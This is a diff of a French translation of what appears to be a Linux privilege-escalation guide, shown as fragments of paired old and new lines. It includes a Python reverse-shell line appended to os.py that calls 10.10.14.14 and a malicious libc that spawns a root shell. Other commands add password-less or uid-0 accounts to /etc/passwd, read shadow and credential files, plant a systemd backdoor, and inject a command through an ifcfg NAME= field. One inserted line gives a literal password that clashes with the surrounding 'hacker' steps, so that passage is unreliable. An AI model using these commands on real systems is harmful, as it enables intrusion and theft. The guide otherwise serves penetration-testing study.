[bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) +Notez que si l'utilisateur utilise un shell différent (pas bash) vous devrez modifier d'autres fichiers pour ajouter le nouveau chemin. Par exemple [sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifie `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Vous pouvez trouver un autre exemple dans [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) -Ou en exécutant quelque chose comme : +Ou en exécutant quelque chose comme: ```bash cat >/tmp/sudo < (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -En copiant la lib dans `/var/tmp/flag15/`, le programme l'utilisera à cet emplacement comme spécifié dans la variable `RPATH`. +En copiant la lib dans `/var/tmp/flag15/`, elle sera utilisée par le programme à cet emplacement, comme spécifié dans la variable `RPATH`. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1043,7 +1067,7 @@ linux-gate.so.1 => (0x005b0000) libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x00737000) ``` -Ensuite, créez une bibliothèque malveillante dans `/var/tmp` avec `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` +Puis créez une bibliothèque malveillante dans `/var/tmp` avec `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` ```c #include #define SHELL "/bin/sh" @@ -1056,44 +1080,44 @@ setresuid(geteuid(),geteuid(), geteuid()); execve(file,argv,0); } ``` -## Capacités +## Capabilities -Les capacités Linux fournissent un **sous-ensemble des privilèges root disponibles à un processus**. Cela décompose effectivement les privilèges root en **unités plus petites et distinctes**. Chacune de ces unités peut ensuite être accordée indépendamment aux processus. De cette façon, l'ensemble complet des privilèges est réduit, diminuant les risques d'exploitation.\ -Consultez la page suivante pour **en savoir plus sur les capacités et comment les abuser** : +Linux capabilities fournissent un **sous-ensemble des privilèges root disponibles pour un processus**. Cela divise effectivement les privilèges root **en unités plus petites et distinctes**. Chacune de ces unités peut ensuite être accordée indépendamment aux processus. De cette façon, l'ensemble des privilèges est réduit, diminuant les risques d'exploitation.\ +Lisez la page suivante pour **en savoir plus sur les capabilities et comment les exploiter**: {{#ref}} linux-capabilities.md {{#endref}} -## Permissions de répertoire +## Directory permissions -Dans un répertoire, le **bit pour "execute"** implique que l'utilisateur concerné peut **"cd"** dans le dossier.\ +Dans un répertoire, le **bit "execute"** implique que l'utilisateur concerné peut **cd** dans le dossier.\ Le bit **"read"** implique que l'utilisateur peut **lister** les **fichiers**, et le bit **"write"** implique que l'utilisateur peut **supprimer** et **créer** de nouveaux **fichiers**. ## ACLs -Les listes de contrôle d'accès (ACLs) représentent la couche secondaire des permissions discrétionnaires, capables de **outrepasser les permissions traditionnelles ugo/rwx**. Ces permissions renforcent le contrôle d'accès aux fichiers ou répertoires en autorisant ou refusant des droits à des utilisateurs spécifiques qui ne sont ni propriétaires ni membres du groupe. Ce niveau de **granularité assure une gestion des accès plus précise**. Des détails supplémentaires peuvent être trouvés [**ici**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Access Control Lists (ACLs) représentent la couche secondaire des permissions discrétionnaires, capables de **outrepasser les permissions traditionnelles ugo/rwx**. Ces permissions améliorent le contrôle d'accès aux fichiers ou répertoires en autorisant ou refusant des droits à des utilisateurs spécifiques qui ne sont ni propriétaires ni membres du groupe. Ce niveau de **granularité garantit une gestion des accès plus précise**. Pour plus de détails, consultez [**ici**](https://linuxconfig.org/how-to-manage-acls-on-linux). -**Donner** l'utilisateur "kali" les permissions read et write sur un fichier : +**Donner** à l'utilisateur "kali" les permissions de lecture et d'écriture sur un fichier: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) setfacl -b file.txt #Remove the ACL of the file ``` -**Obtenir** les fichiers ayant des ACLs spécifiques sur le système: +**Récupérer** les fichiers avec des ACL spécifiques du système: ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` -## Ouvrir des sessions shell +## Sessions shell ouvertes -Dans les **anciennes versions** vous pouvez **hijack** certaines **shell** sessions d'un autre **user** (**root**).\ -Dans les **versions les plus récentes** vous pourrez **connect** aux **screen sessions** uniquement de **votre propre user**. Cependant, vous pourriez trouver **des informations intéressantes à l'intérieur de la session**. +Dans les **anciennes versions** vous pouvez **hijack** une **session shell** d'un autre utilisateur (**root**).\ +Dans les **nouvelles versions** vous ne pourrez **connect** qu'aux sessions screen de **votre propre utilisateur**. Cependant, vous pourriez trouver des **informations intéressantes à l'intérieur de la session**. -### screen sessions hijacking +### hijacking des sessions screen -**List screen sessions** +**Lister les sessions screen** ```bash screen -ls screen -ls / # Show another user' screen sessions @@ -1128,53 +1152,53 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -Check **Valentine box from HTB** for an example. +Consultez **Valentine box from HTB** pour un exemple. ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -Toutes les clés SSL et SSH générées sur les systèmes basés sur Debian (Ubuntu, Kubuntu, etc) entre septembre 2006 et le 13 mai 2008 peuvent être affectées par ce bug.\ -Ce bug se produit lors de la création d'une nouvelle clé ssh sur ces OS, car **only 32,768 variations were possible**. Cela signifie que toutes les possibilités peuvent être calculées et **having the ssh public key you can search for the corresponding private key**. Vous pouvez trouver les possibilités calculées ici: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +Toutes les clés SSL et SSH générées sur des systèmes basés sur Debian (Ubuntu, Kubuntu, etc.) entre septembre 2006 et le 13 mai 2008 peuvent être affectées par ce bug.\ +Ce bug se produit lors de la création d'une nouvelle clé ssh sur ces OS, car **seules 32,768 variations étaient possibles**. Cela signifie que toutes les possibilités peuvent être calculées et que, **en ayant la ssh public key vous pouvez rechercher la private key correspondante**. Vous pouvez trouver les possibilités calculées ici : [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) -### SSH Interesting configuration values +### SSH Valeurs de configuration intéressantes - **PasswordAuthentication:** Indique si l'authentification par mot de passe est autorisée. La valeur par défaut est `no`. -- **PubkeyAuthentication:** Indique si l'authentification par clé publique est autorisée. La valeur par défaut est `yes`. -- **PermitEmptyPasswords**: Lorsque l'authentification par mot de passe est autorisée, indique si le serveur permet la connexion à des comptes avec des mots de passe vides. La valeur par défaut est `no`. +- **PubkeyAuthentication:** Indique si l'authentification par public key est autorisée. La valeur par défaut est `yes`. +- **PermitEmptyPasswords** : Lorsque l'authentification par mot de passe est autorisée, ceci spécifie si le serveur permet la connexion aux comptes dont le mot de passe est vide. La valeur par défaut est `no`. ### PermitRootLogin Spécifie si root peut se connecter via ssh, la valeur par défaut est `no`. Valeurs possibles : -- `yes`: root peut se connecter en utilisant un mot de passe et une clé privée -- `without-password` or `prohibit-password`: root ne peut se connecter qu'avec une clé privée -- `forced-commands-only`: root peut se connecter uniquement en utilisant une clé privée et si les options de commande sont spécifiées +- `yes`: root peut se connecter en utilisant un mot de passe et une private key +- `without-password` or `prohibit-password`: root ne peut se connecter qu'avec une private key +- `forced-commands-only`: root ne peut se connecter qu'en utilisant une private key et si l'option commands est spécifiée - `no` : non ### AuthorizedKeysFile -Spécifie les fichiers qui contiennent les clés publiques pouvant être utilisées pour l'authentification des utilisateurs. Il peut contenir des tokens comme `%h`, qui seront remplacés par le répertoire personnel. **You can indicate absolute paths** (starting in `/`) or **relative paths from the user's home**. For example: +Spécifie les fichiers contenant les public keys pouvant être utilisées pour l'authentification des utilisateurs. Il peut contenir des tokens comme `%h`, qui seront remplacés par le répertoire personnel. **Vous pouvez indiquer des chemins absolus** (commençant par `/`) ou **des chemins relatifs depuis le home de l'utilisateur**. Par exemple: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -Cette configuration indiquera que si vous essayez de vous connecter avec la clé **private** de l'utilisateur "**testusername**" ssh va comparer la public key de votre clé avec celles situées dans `/home/testusername/.ssh/authorized_keys` et `/home/testusername/access` +Cette configuration indiquera que si vous essayez de vous connecter avec la clé **private** de l'utilisateur "**testusername**", ssh va comparer la clé publique correspondante avec celles situées dans `/home/testusername/.ssh/authorized_keys` et `/home/testusername/access` ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding vous permet de **utiliser vos SSH keys locales au lieu de laisser des keys** (sans passphrases !) sur votre serveur. Ainsi, vous pourrez **sauter** via ssh **vers un hôte** et de là **sauter vers un autre** hôte **en utilisant** la **key** située sur votre **hôte initial**. +SSH agent forwarding allows you to **use your local SSH keys instead of leaving keys** (without passphrases!) sitting on your server. Ainsi, vous pourrez **jump** via ssh **to a host** et depuis là **jump to another** host **using** la **key** située sur votre **initial host**. -Vous devez définir cette option dans `$HOME/.ssh.config` comme ceci: +Vous devez définir cette option dans `$HOME/.ssh.config` de cette façon: ``` Host example.com ForwardAgent yes ``` -Remarquez que si `Host` est `*` chaque fois que l'utilisateur saute vers une machine différente, cet hôte pourra accéder aux clés (ce qui constitue un problème de sécurité). +Remarquez que si `Host` est `*` chaque fois que l'utilisateur saute vers une machine différente, cet hôte pourra accéder aux clés (ce qui est un problème de sécurité). -Le fichier `/etc/ssh_config` peut **outrepasser** ces **options** et autoriser ou refuser cette configuration.\ -Le fichier `/etc/sshd_config` peut **autoriser** ou **refuser** le ssh-agent forwarding avec le mot-clé `AllowAgentForwarding` (la valeur par défaut est allow). +Le fichier `/etc/ssh_config` peut **outrepasser** ces **options** et permettre ou refuser cette configuration.\ +Le fichier `/etc/sshd_config` peut **autoriser** ou **refuser** ssh-agent forwarding avec le mot-clé `AllowAgentForwarding` (par défaut : autorisé). -Si vous découvrez que Forward Agent est configuré dans un environnement, lisez la page suivante car **vous pourriez être en mesure de l'exploiter pour obtenir une élévation de privilèges** : +Si vous trouvez que Forward Agent est configuré dans un environnement, lisez la page suivante car **vous pourriez être capable de l'exploiter pour élever vos privilèges**: {{#ref}} @@ -1185,26 +1209,26 @@ ssh-forward-agent-exploitation.md ### Fichiers de profil -Le fichier `/etc/profile` et les fichiers sous `/etc/profile.d/` sont des **scripts qui sont exécutés lorsqu'un utilisateur lance un nouveau shell**. Par conséquent, si vous pouvez **écrire ou modifier l'un d'entre eux, vous pouvez obtenir une élévation de privilèges**. +Le fichier `/etc/profile` et les fichiers sous `/etc/profile.d/` sont des **scripts qui sont exécutés lorsqu'un utilisateur lance un nouveau shell**. Par conséquent, si vous pouvez **écrire ou modifier l'un d'eux, vous pouvez élever vos privilèges**. ```bash ls -l /etc/profile /etc/profile.d/ ``` -Si un script de profil suspect est trouvé, vous devriez le vérifier pour des **détails sensibles**. +Si un script de profil suspect est trouvé, vous devriez le vérifier pour des **informations sensibles**. -### Passwd/Shadow Files +### Fichiers passwd/shadow -Selon l'OS, les fichiers `/etc/passwd` et `/etc/shadow` peuvent porter un nom différent ou il peut exister une copie de sauvegarde. Il est donc recommandé de **les trouver tous** et de **vérifier si vous pouvez les lire** afin de voir **s'il y a des hashes** à l'intérieur des fichiers : +Selon le système d'exploitation, les fichiers `/etc/passwd` et `/etc/shadow` peuvent porter un nom différent ou il peut y avoir une sauvegarde. Il est donc recommandé de **les trouver tous** et de **vérifier si vous pouvez les lire** pour voir **s'il y a des hashes** à l'intérieur des fichiers : ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -Parfois, vous pouvez trouver **password hashes** dans le fichier `/etc/passwd` (ou équivalent) +Dans certains cas, vous pouvez trouver **password hashes** dans le fichier `/etc/passwd` (ou équivalent). ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` -### Accessible en écriture /etc/passwd +### Writable /etc/passwd Tout d'abord, générez un mot de passe avec l'une des commandes suivantes. ``` @@ -1212,7 +1236,7 @@ openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -Ensuite, ajoutez l'utilisateur `hacker` et définissez le mot de passe généré. +Ajouter l'utilisateur `hacker` et utiliser le mot de passe généré : `8fR#v9Qm$2Zt!4Lp` ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` @@ -1221,33 +1245,33 @@ Ex. : `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` Vous pouvez maintenant utiliser la commande `su` avec `hacker:hacker` Alternativement, vous pouvez utiliser les lignes suivantes pour ajouter un utilisateur factice sans mot de passe.\ -ATTENTION : vous pourriez dégrader la sécurité actuelle de la machine. +ATTENTION : vous risquez de dégrader la sécurité actuelle de la machine. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` REMARQUE : Sur les plateformes BSD, `/etc/passwd` se trouve à `/etc/pwd.db` et `/etc/master.passwd`, et `/etc/shadow` est renommé en `/etc/spwd.db`. -Vous devez vérifier si vous pouvez **écrire dans certains fichiers sensibles**. Par exemple, pouvez-vous écrire dans un **fichier de configuration de service** ? +Vous devriez vérifier si vous pouvez **écrire dans certains fichiers sensibles**. Par exemple, pouvez-vous écrire dans un **fichier de configuration de service** ? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -Par exemple, si la machine exécute un serveur **tomcat** et que vous pouvez **modifier le fichier de configuration du service Tomcat dans /etc/systemd/,** alors vous pouvez modifier les lignes : +Par exemple, si la machine exécute un serveur **tomcat** et que vous pouvez **modifier le fichier de configuration du service Tomcat dans /etc/systemd/**, alors vous pouvez modifier les lignes : ``` ExecStart=/path/to/backdoor User=root Group=root ``` -Your backdoor sera exécutée la prochaine fois que tomcat sera démarré. +Votre backdoor sera exécutée la prochaine fois que tomcat sera démarré. -### Vérifier les dossiers +### Vérifiez les dossiers -Les dossiers suivants peuvent contenir des sauvegardes ou des informations intéressantes : **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Il est probable que vous ne pourrez pas lire le dernier, mais essayez) +Les dossiers suivants peuvent contenir des sauvegardes ou des informations intéressantes: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Il est probable que vous ne pourrez pas lire le dernier, mais essayez) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### Emplacements étranges/Owned files +### Emplacement étrange/Owned files ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1268,7 +1292,7 @@ done ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` -### Fichiers de base de données Sqlite +### Fichiers DB Sqlite ```bash find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ``` @@ -1280,7 +1304,7 @@ find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -nam ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` -### **Script/Binaries dans PATH** +### **Scripts/Binaires dans PATH** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done @@ -1296,20 +1320,20 @@ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null ``` -### Fichiers connus contenant des mots de passe +### Fichiers connus contenant des passwords -Lire le code de [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), il recherche **plusieurs fichiers susceptibles de contenir des mots de passe**.\ -**Un autre outil intéressant** que vous pouvez utiliser à cet effet est : [**LaZagne**](https://github.com/AlessandroZ/LaZagne) qui est une application open source utilisée pour récupérer de nombreux mots de passe stockés sur un ordinateur local pour Windows, Linux & Mac. +Consultez le code de [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), il cherche **plusieurs fichiers susceptibles de contenir des passwords**.\ +**Un autre outil intéressant** que vous pouvez utiliser est : [**LaZagne**](https://github.com/AlessandroZ/LaZagne) qui est une application open source utilisée pour récupérer de nombreux passwords stockés sur un ordinateur local pour Windows, Linux & Mac. ### Logs -Si vous pouvez lire les logs, vous pourrez peut-être trouver des informations **intéressantes/confidentielles** à l'intérieur. Plus un log est étrange, plus il sera intéressant (probablement).\ -Aussi, certains **audit logs** **mal configurés** (backdoored?) peuvent vous permettre d'**enregistrer des mots de passe** dans les audit logs comme expliqué dans ce post : [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +Si vous pouvez lire les logs, vous pourriez trouver **des informations intéressantes/confidentielles à l'intérieur**. Plus le log est étrange, plus il sera (probablement) intéressant.\ +De plus, certains **audit logs** mal configurés (backdoored?) peuvent vous permettre d'**enregistrer des passwords** dans les audit logs comme expliqué dans ce post : [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -Pour **lire les logs, le groupe** [**adm**](interesting-groups-linux-pe/index.html#adm-group) sera très utile. +Pour pouvoir **lire les logs, le groupe** [**adm**](interesting-groups-linux-pe/index.html#adm-group) sera vraiment utile. ### Fichiers Shell ```bash @@ -1324,41 +1348,41 @@ Pour **lire les logs, le groupe** [**adm**](interesting-groups-linux-pe/index.ht ``` ### Generic Creds Search/Regex -Vous devriez aussi vérifier les fichiers contenant le mot "**password**" dans leur **nom** ou dans leur **contenu**, et aussi vérifier les IPs et emails dans les logs, ou les regexps de hashes.\ -Je ne vais pas détailler ici comment faire tout cela mais si cela vous intéresse vous pouvez consulter les dernières vérifications que [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) effectue. +Vous devez aussi vérifier les fichiers contenant le mot "**password**" dans leur **nom** ou dans leur **contenu**, et aussi vérifier les IPs et les emails dans les logs, ou des hashes regexps.\ +Je ne vais pas détailler ici comment faire tout cela, mais si vous êtes intéressé vous pouvez consulter les derniers checks que [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) effectue. -## Fichiers inscriptibles +## Fichiers accessibles en écriture ### Python library hijacking -Si vous savez depuis **où** un python script va être exécuté et que vous **pouvez écrire dans** ce dossier ou que vous pouvez **modifier python libraries**, vous pouvez modifier la OS library et y ajouter une backdoor (si vous pouvez écrire à l'endroit où le python script va être exécuté, copiez la librairie os.py). +Si vous savez **d'où** un script python va être exécuté et que vous **pouvez écrire dans** ce dossier ou que vous pouvez **modify python libraries**, vous pouvez modifier l'OS library et y installer une backdoor (si vous pouvez écrire à l'endroit où le script python va être exécuté, copiez-collez le fichier os.py). -To **backdoor the library** just add at the end of the os.py library the following line (change IP and PORT): +Pour **backdoor the library** ajoutez simplement à la fin du fichier os.py la ligne suivante (change IP and PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` ### Exploitation de logrotate -Une vulnérabilité dans `logrotate` permet aux utilisateurs ayant des **permissions d'écriture** sur un fichier de log ou ses répertoires parents de potentiellement obtenir des privilèges escaladés. En effet, `logrotate`, souvent exécuté en tant que **root**, peut être manipulé pour exécuter des fichiers arbitraires, notamment dans des répertoires comme _**/etc/bash_completion.d/**_. Il est important de vérifier les permissions non seulement dans _/var/log_ mais aussi dans tout répertoire où la rotation des logs est appliquée. +Une vulnérabilité dans `logrotate` permet à des utilisateurs disposant de **permissions d'écriture** sur un fichier de log ou ses répertoires parents de potentiellement obtenir des privilèges escaladés. En effet, `logrotate`, souvent exécuté en tant que **root**, peut être manipulé pour exécuter des fichiers arbitraires, notamment dans des répertoires comme _**/etc/bash_completion.d/**_. Il est important de vérifier les permissions non seulement dans _/var/log_ mais aussi dans tout répertoire où la rotation des logs est appliquée. > [!TIP] > Cette vulnérabilité affecte `logrotate` version `3.18.0` et antérieures -Des informations plus détaillées sur la vulnérabilité se trouvent sur cette page : [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +Des informations plus détaillées sur la vulnérabilité sont disponibles sur cette page : [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). Vous pouvez exploiter cette vulnérabilité avec [**logrotten**](https://github.com/whotwagner/logrotten). -Cette vulnérabilité est très similaire à [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** donc chaque fois que vous constatez que vous pouvez altérer des logs, vérifiez qui gère ces logs et si vous pouvez escalader les privilèges en substituant les logs par des symlinks. +Cette vulnérabilité est très similaire à [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** donc chaque fois que vous découvrez que vous pouvez modifier des logs, vérifiez qui gère ces logs et voyez si vous pouvez escalader les privilèges en substituant les logs par des symlinks. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -**Référence de la vulnérabilité :** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) +**Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -S'il, pour une raison quelconque, un utilisateur est capable d'**écrire** un script `ifcf-` dans _/etc/sysconfig/network-scripts_ **ou** d'**ajuster** un script existant, alors votre système est **pwned**. +Si, pour une quelconque raison, un utilisateur est capable d'**écrire** un script `ifcf-` dans _/etc/sysconfig/network-scripts_ **ou** de **modifier** un script existant, alors votre **système est pwned**. -Les scripts réseau, _ifcg-eth0_ par exemple, sont utilisés pour les connexions réseau. Ils ressemblent exactement à des fichiers .INI. Cependant, ils sont ~sourced~ sur Linux par Network Manager (dispatcher.d). +Les network scripts, _ifcg-eth0_ par exemple, sont utilisés pour les connexions réseau. Ils ressemblent exactement à des fichiers .INI. Cependant, ils sont ~sourced~ sous Linux par Network Manager (dispatcher.d). -Dans mon cas, l'attribut `NAME=` dans ces scripts réseau n'est pas traité correctement. Si vous avez un **espace blanc dans le nom, le système tente d'exécuter la partie après l'espace blanc**. Cela signifie que **tout ce qui suit le premier espace est exécuté en tant que root**. +Dans mon cas, l'attribut `NAME=` dans ces network scripts n'est pas géré correctement. Si vous avez **un espace blanc dans le nom, le système tente d'exécuter la partie après l'espace blanc**. Cela signifie que **tout ce qui suit le premier espace est exécuté en tant que root**. Par exemple : _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash @@ -1366,17 +1390,17 @@ NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` -(_Notez l'espace entre Network et /bin/id_) +(_Notez l'espace blanc entre Network et /bin/id_) -### **init, init.d, systemd et rc.d** +### **init, init.d, systemd, and rc.d** -Le répertoire `/etc/init.d` contient des **scripts** pour System V init (SysVinit), le **système classique de gestion des services Linux**. Il inclut des scripts pour `start`, `stop`, `restart`, et parfois `reload` des services. Ceux-ci peuvent être exécutés directement ou via des liens symboliques présents dans `/etc/rc?.d/`. Un chemin alternatif sur les systèmes Redhat est `/etc/rc.d/init.d`. +Le répertoire `/etc/init.d` contient des **scripts** pour System V init (SysVinit), le **système classique de gestion des services Linux**. Il inclut des scripts pour `start`, `stop`, `restart`, et parfois `reload` des services. Ceux-ci peuvent être exécutés directement ou via des liens symboliques trouvés dans `/etc/rc?.d/`. Un chemin alternatif sur les systèmes Redhat est `/etc/rc.d/init.d`. -En revanche, `/etc/init` est associé à **Upstart**, un gestionnaire de services plus récent introduit par Ubuntu, utilisant des fichiers de configuration pour les tâches de gestion des services. Malgré la transition vers Upstart, les scripts SysVinit sont encore utilisés aux côtés des configurations Upstart en raison d'une couche de compatibilité dans Upstart. +En revanche, `/etc/init` est associé à **Upstart**, un **gestionnaire de services** plus récent introduit par Ubuntu, utilisant des fichiers de configuration pour les tâches de gestion des services. Malgré la transition vers Upstart, les scripts SysVinit sont encore utilisés aux côtés des configurations Upstart en raison d'une couche de compatibilité dans Upstart. -**systemd** apparaît comme un gestionnaire moderne d'initialisation et de services, offrant des fonctionnalités avancées telles que le démarrage à la demande des daemons, la gestion des automounts et les snapshots d'état du système. Il organise les fichiers dans `/usr/lib/systemd/` pour les paquets de distribution et `/etc/systemd/system/` pour les modifications effectuées par l'administrateur, simplifiant le processus d'administration du système. +**systemd** apparaît comme un gestionnaire d'initialisation et de services moderne, offrant des fonctionnalités avancées telles que le démarrage à la demande des daemons, la gestion des automounts et les snapshots d'état du système. Il organise les fichiers dans `/usr/lib/systemd/` pour les paquets de distribution et dans `/etc/systemd/system/` pour les modifications administratives, simplifiant le processus d'administration système. -## Autres astuces +## Autres Tricks ### NFS Privilege escalation @@ -1385,7 +1409,7 @@ En revanche, `/etc/init` est associé à **Upstart**, un gestionnaire de service nfs-no_root_squash-misconfiguration-pe.md {{#endref}} -### Évasion des Shells restreints +### Escaping from restricted Shells {{#ref}} @@ -1401,7 +1425,7 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Les Android rooting frameworks attachent souvent un hook à un syscall afin d'exposer des fonctionnalités privilégiées du kernel à un manager en userspace. Une authentification faible du manager (p. ex. des vérifications de signature basées sur l'ordre des FD ou des schémas de mot de passe faibles) peut permettre à une application locale d'usurper le manager et d'escalader en root sur des appareils déjà rootés. Pour en savoir plus et obtenir les détails d'exploitation : +Les Android rooting frameworks hookent souvent un syscall pour exposer des fonctionnalités privilégiées du kernel à un userspace manager. Une authentification faible du manager (par ex. des vérifications de signature basées sur l'ordre des FD ou des schémas de mot de passe faibles) peut permettre à une application locale d'usurper le manager et d'escalader en root sur des appareils déjà rootés. Pour en savoir plus et voir les détails d'exploitation : {{#ref}} android-rooting-frameworks-manager-auth-bypass-syscall-hook.md @@ -1418,20 +1442,20 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md ## Linux/Unix Privesc Tools -### **Meilleur outil pour trouver des vecteurs locaux de privilege escalation sous Linux :** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) **LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ **Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\ **Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\ **BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\ -**Kernelpop:** Enumerate kernel vulns ins linux and MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ +**Kernelpop:** Enumère les vulnérabilités du kernel sous Linux et macOS [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ **EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ -**Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) +**Récapitulatif de scripts supplémentaires**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) -## References +## Références - [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) - [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/) @@ -1450,6 +1474,7 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md - 